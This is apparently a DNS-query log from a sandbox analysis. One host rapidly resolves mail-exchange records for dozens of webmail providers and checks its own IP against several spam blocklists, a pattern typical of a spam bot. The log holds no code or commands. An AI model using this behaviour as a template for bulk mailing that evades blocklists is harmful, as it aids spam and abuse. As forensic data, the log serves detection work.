Sep 7, 2021 16:03:58.682482004 CEST	8.8.8.8	192.168.2.4	0xe224	No error (0)	al-ip4-mx-vip2.prodigy.net		144.160.235.144	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:58.910600901 CEST	8.8.8.8	192.168.2.4	0xecd4	Name error (3)	XnreryDtttxrMmEdC.XnreryDtttxrMmEdC	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:59.022932053 CEST	8.8.8.8	192.168.2.4	0x81aa	No error (0)	libertysurf.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.022932053 CEST	8.8.8.8	192.168.2.4	0x81aa	No error (0)	libertysurf.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.098507881 CEST	8.8.8.8	192.168.2.4	0xad14	No error (0)	mx1.free.fr		212.27.48.6	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:59.098507881 CEST	8.8.8.8	192.168.2.4	0xad14	No error (0)	mx1.free.fr		212.27.48.7	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:59.273009062 CEST	8.8.8.8	192.168.2.4	0x87a0	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.273009062 CEST	8.8.8.8	192.168.2.4	0x87a0	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.273009062 CEST	8.8.8.8	192.168.2.4	0x87a0	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.273009062 CEST	8.8.8.8	192.168.2.4	0x87a0	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.903816938 CEST	8.8.8.8	192.168.2.4	0x426b	No error (0)	al-ip4-mx-vip2.prodigy.net		144.160.235.144	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.092432022 CEST	8.8.8.8	192.168.2.4	0xb303	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:04:00.169922113 CEST	8.8.8.8	192.168.2.4	0xfef0	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:04:00.222501040 CEST	8.8.8.8	192.168.2.4	0xe84c	No error (0)	ff-ip4-mx-vip1.prodigy.net		144.160.159.21	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.232820034 CEST	8.8.8.8	192.168.2.4	0x7090	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.726697922 CEST	8.8.8.8	192.168.2.4	0xe8d7	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:05.311709881 CEST	8.8.8.8	192.168.2.4	0xa412	No error (0)	fmx.freemail.hu		84.2.43.65	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:05.313836098 CEST	8.8.8.8	192.168.2.4	0x944f	No error (0)	freenet.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:06.206965923 CEST	8.8.8.8	192.168.2.4	0x7b9a	No error (0)	emig.freenet.de		195.4.92.215	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:06.206965923 CEST	8.8.8.8	192.168.2.4	0x7b9a	No error (0)	emig.freenet.de		195.4.92.216	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:06.206965923 CEST	8.8.8.8	192.168.2.4	0x7b9a	No error (0)	emig.freenet.de		195.4.92.217	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:06.206965923 CEST	8.8.8.8	192.168.2.4	0x7b9a	No error (0)	emig.freenet.de		195.4.92.218	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:06.218146086 CEST	8.8.8.8	192.168.2.4	0xb2a	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:07.099076033 CEST	8.8.8.8	192.168.2.4	0x3ce8	No error (0)	post.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:07.099076033 CEST	8.8.8.8	192.168.2.4	0x3ce8	No error (0)	post.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:07.661807060 CEST	8.8.8.8	192.168.2.4	0x5705	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:07.668555975 CEST	8.8.8.8	192.168.2.4	0xa028	Name error (3)	ylektrismos.com	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.132035971 CEST	8.8.8.8	192.168.2.4	0x3fa3	No error (0)	mocospace.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.132035971 CEST	8.8.8.8	192.168.2.4	0x3fa3	No error (0)	mocospace.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.280571938 CEST	8.8.8.8	192.168.2.4	0x307d	No error (0)	mx02.mocospace.com		208.95.216.33	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.584681034 CEST	8.8.8.8	192.168.2.4	0x72e3	No error (0)	cwpanama.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.707365990 CEST	8.8.8.8	192.168.2.4	0x7537	No error (0)	mxin.upcmail.net		213.46.255.45	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.722491026 CEST	8.8.8.8	192.168.2.4	0x5cf	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.722491026 CEST	8.8.8.8	192.168.2.4	0x5cf	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.877029896 CEST	8.8.8.8	192.168.2.4	0xcffc	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.006947041 CEST	8.8.8.8	192.168.2.4	0xe5d2	No error (0)	lycos.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:09.134931087 CEST	8.8.8.8	192.168.2.4	0x74f4	No error (0)	mx.lycos.com.cust.b.hostedemail.com		64.98.36.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.359869957 CEST	8.8.8.8	192.168.2.4	0xa8b0	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.559782028 CEST	8.8.8.8	192.168.2.4	0x452	No error (0)	emig.freenet.de		195.4.92.215	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.559782028 CEST	8.8.8.8	192.168.2.4	0x452	No error (0)	emig.freenet.de		195.4.92.216	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.559782028 CEST	8.8.8.8	192.168.2.4	0x452	No error (0)	emig.freenet.de		195.4.92.218	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.559782028 CEST	8.8.8.8	192.168.2.4	0x452	No error (0)	emig.freenet.de		195.4.92.217	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.901267052 CEST	8.8.8.8	192.168.2.4	0xab49	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:10.325017929 CEST	8.8.8.8	192.168.2.4	0x43fe	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:11.315359116 CEST	8.8.8.8	192.168.2.4	0xdf24	No error (0)	dgdgd.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:11.397490025 CEST	8.8.8.8	192.168.2.4	0x53e0	No error (0)	235.o74.org		176.9.147.235	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:11.815753937 CEST	8.8.8.8	192.168.2.4	0xb36c	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:12.244496107 CEST	8.8.8.8	192.168.2.4	0x34e7	No error (0)	noos.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:12.326936960 CEST	8.8.8.8	192.168.2.4	0x1a83	No error (0)	smtp-in.sfr.fr		93.17.128.123	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:12.326936960 CEST	8.8.8.8	192.168.2.4	0x1a83	No error (0)	smtp-in.sfr.fr		93.17.128.165	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:12.649560928 CEST	8.8.8.8	192.168.2.4	0xc94f	No error (0)	mail.dk			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:12.800714970 CEST	8.8.8.8	192.168.2.4	0x12a3	No error (0)	fpo9.mail.dk		193.201.76.57	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:13.155086994 CEST	8.8.8.8	192.168.2.4	0x7e94	No error (0)	t-online.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.155086994 CEST	8.8.8.8	192.168.2.4	0x7e94	No error (0)	t-online.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.155086994 CEST	8.8.8.8	192.168.2.4	0x7e94	No error (0)	t-online.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.155086994 CEST	8.8.8.8	192.168.2.4	0x7e94	No error (0)	t-online.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.545479059 CEST	8.8.8.8	192.168.2.4	0x5d57	No error (0)	mx02.t-online.de		194.25.134.9	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:13.802567959 CEST	8.8.8.8	192.168.2.4	0xf88f	No error (0)	windowslive.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.939546108 CEST	8.8.8.8	192.168.2.4	0x952c	No error (0)	nam.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:13.939546108 CEST	8.8.8.8	192.168.2.4	0x952c	No error (0)	nam.olc.protection.outlook.com		104.47.73.33	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:14.916769981 CEST	8.8.8.8	192.168.2.4	0x46	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:14.916769981 CEST	8.8.8.8	192.168.2.4	0x46	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:14.916769981 CEST	8.8.8.8	192.168.2.4	0x46	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:14.916769981 CEST	8.8.8.8	192.168.2.4	0x46	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:15.411016941 CEST	8.8.8.8	192.168.2.4	0xb0c5	No error (0)	mx1.hanmail.net		211.231.108.46	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.412616014 CEST	8.8.8.8	192.168.2.4	0x2a74	No error (0)	emig.freenet.de		195.4.92.215	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.412616014 CEST	8.8.8.8	192.168.2.4	0x2a74	No error (0)	emig.freenet.de		195.4.92.216	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.412616014 CEST	8.8.8.8	192.168.2.4	0x2a74	No error (0)	emig.freenet.de		195.4.92.218	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.412616014 CEST	8.8.8.8	192.168.2.4	0x2a74	No error (0)	emig.freenet.de		195.4.92.217	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.879867077 CEST	8.8.8.8	192.168.2.4	0xadb0	No error (0)	mx.wp.pl		212.77.101.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:19.796793938 CEST	8.8.8.8	192.168.2.4	0x5de5	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:19.796793938 CEST	8.8.8.8	192.168.2.4	0x5de5	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:19.796793938 CEST	8.8.8.8	192.168.2.4	0x5de5	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:19.796793938 CEST	8.8.8.8	192.168.2.4	0x5de5	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:19.796793938 CEST	8.8.8.8	192.168.2.4	0x5de5	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:20.239308119 CEST	8.8.8.8	192.168.2.4	0xf73d	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:20.464826107 CEST	8.8.8.8	192.168.2.4	0x93f6	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:20.989957094 CEST	8.8.8.8	192.168.2.4	0x3310	No error (0)	emailn.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:21.305629969 CEST	8.8.8.8	192.168.2.4	0xe663	No error (0)	mail.emailn.de		46.182.21.2	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.010447025 CEST	8.8.8.8	192.168.2.4	0xfcd3	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.058245897 CEST	8.8.8.8	192.168.2.4	0x3679	No error (0)	kpnmail.nl			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.101741076 CEST	8.8.8.8	192.168.2.4	0xe7dc	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.127136946 CEST	8.8.8.8	192.168.2.4	0x3061	No error (0)	mx.kpnmail.nl		195.121.65.158	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.183401108 CEST	8.8.8.8	192.168.2.4	0xbf97	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.254642963 CEST	8.8.8.8	192.168.2.4	0xd014	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.272461891 CEST	8.8.8.8	192.168.2.4	0x6b64	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.328048944 CEST	8.8.8.8	192.168.2.4	0x8a6e	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.400420904 CEST	8.8.8.8	192.168.2.4	0xf6de	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.462855101 CEST	8.8.8.8	192.168.2.4	0xab7e	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.571436882 CEST	8.8.8.8	192.168.2.4	0x1eeb	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.671648026 CEST	8.8.8.8	192.168.2.4	0xb3a6	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.723939896 CEST	8.8.8.8	192.168.2.4	0x2561	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.818757057 CEST	8.8.8.8	192.168.2.4	0x6ba3	No error (0)	urbanyoga.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.958908081 CEST	8.8.8.8	192.168.2.4	0x583c	Name error (3)	meta.ia	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.995887995 CEST	8.8.8.8	192.168.2.4	0x2799	No error (0)	mx.urbanyoga.ca		66.96.140.70	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.995887995 CEST	8.8.8.8	192.168.2.4	0x2799	No error (0)	mx.urbanyoga.ca		66.96.140.71	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.017504930 CEST	8.8.8.8	192.168.2.4	0x6037	No error (0)	foxmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.017504930 CEST	8.8.8.8	192.168.2.4	0x6037	No error (0)	foxmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.017504930 CEST	8.8.8.8	192.168.2.4	0x6037	No error (0)	foxmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.297049046 CEST	8.8.8.8	192.168.2.4	0x8487	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.297049046 CEST	8.8.8.8	192.168.2.4	0x8487	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.360852957 CEST	8.8.8.8	192.168.2.4	0xbb04	No error (0)	katima.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.374372005 CEST	8.8.8.8	192.168.2.4	0x9ade	No error (0)	mx3.qq.com		203.205.219.57	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.389924049 CEST	8.8.8.8	192.168.2.4	0xb1c8	No error (0)	ASPMX.L.GOOGLE.COM		108.177.119.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.378912926 CEST	8.8.8.8	192.168.2.4	0x5fbb	No error (0)	persona.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:25.426393032 CEST	8.8.8.8	192.168.2.4	0xa031	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.599103928 CEST	8.8.8.8	192.168.2.4	0xd618	No error (0)	lycos.de			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:25.683944941 CEST	8.8.8.8	192.168.2.4	0x4a38	No error (0)	mx.lycos.de.cust.b.hostedemail.com		64.98.36.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.783669949 CEST	8.8.8.8	192.168.2.4	0x1067	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.042061090 CEST	8.8.8.8	192.168.2.4	0x61bc	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.067037106 CEST	8.8.8.8	192.168.2.4	0xbd2b	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.239501953 CEST	8.8.8.8	192.168.2.4	0x9232	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.298850060 CEST	8.8.8.8	192.168.2.4	0x17dd	No error (0)	telete.in		195.201.225.248	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.384259939 CEST	8.8.8.8	192.168.2.4	0xbe72	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.431027889 CEST	8.8.8.8	192.168.2.4	0x5cfb	No error (0)	mx02.t-online.de		194.25.134.9	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.537575960 CEST	8.8.8.8	192.168.2.4	0x893e	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.566625118 CEST	8.8.8.8	192.168.2.4	0xfb66	Name error (3)	gala-group.net	none	none	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:26.652594090 CEST	8.8.8.8	192.168.2.4	0xc04b	No error (0)	mx02.t-online.de		194.25.134.9	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.721429110 CEST	8.8.8.8	192.168.2.4	0xe540	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.803391933 CEST	8.8.8.8	192.168.2.4	0x9e2e	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.863962889 CEST	8.8.8.8	192.168.2.4	0x33e	No error (0)	verizon.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.945188999 CEST	8.8.8.8	192.168.2.4	0xde5b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.948362112 CEST	8.8.8.8	192.168.2.4	0xbce3	No error (0)	mx1.hanmail.net		211.231.108.46	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.071466923 CEST	8.8.8.8	192.168.2.4	0xb230	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.169795990 CEST	8.8.8.8	192.168.2.4	0x136b	No error (0)	emig.freenet.de		195.4.92.215	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.169795990 CEST	8.8.8.8	192.168.2.4	0x136b	No error (0)	emig.freenet.de		195.4.92.216	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.169795990 CEST	8.8.8.8	192.168.2.4	0x136b	No error (0)	emig.freenet.de		195.4.92.217	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.169795990 CEST	8.8.8.8	192.168.2.4	0x136b	No error (0)	emig.freenet.de		195.4.92.218	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.338881969 CEST	8.8.8.8	192.168.2.4	0x4d78	No error (0)	orange.pl			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:27.406065941 CEST	8.8.8.8	192.168.2.4	0xd35b	No error (0)	smtp-in.hosting.orange.pl		217.97.216.210	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.830737114 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.978449106 CEST	8.8.8.8	192.168.2.4	0x29d5	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.341015100 CEST	8.8.8.8	192.168.2.4	0xe5f8	No error (0)	icloud.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:28.341015100 CEST	8.8.8.8	192.168.2.4	0xe5f8	No error (0)	icloud.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:28.442289114 CEST	8.8.8.8	192.168.2.4	0x5121	No error (0)	mx02.mail.icloud.com		17.56.9.19	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.442289114 CEST	8.8.8.8	192.168.2.4	0x5121	No error (0)	mx02.mail.icloud.com		17.42.251.12	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.442289114 CEST	8.8.8.8	192.168.2.4	0x5121	No error (0)	mx02.mail.icloud.com		17.57.152.14	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.442289114 CEST	8.8.8.8	192.168.2.4	0x5121	No error (0)	mx02.mail.icloud.com		17.57.154.7	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.746108055 CEST	8.8.8.8	192.168.2.4	0x8dc1	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.855717897 CEST	8.8.8.8	192.168.2.4	0x9fa8	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
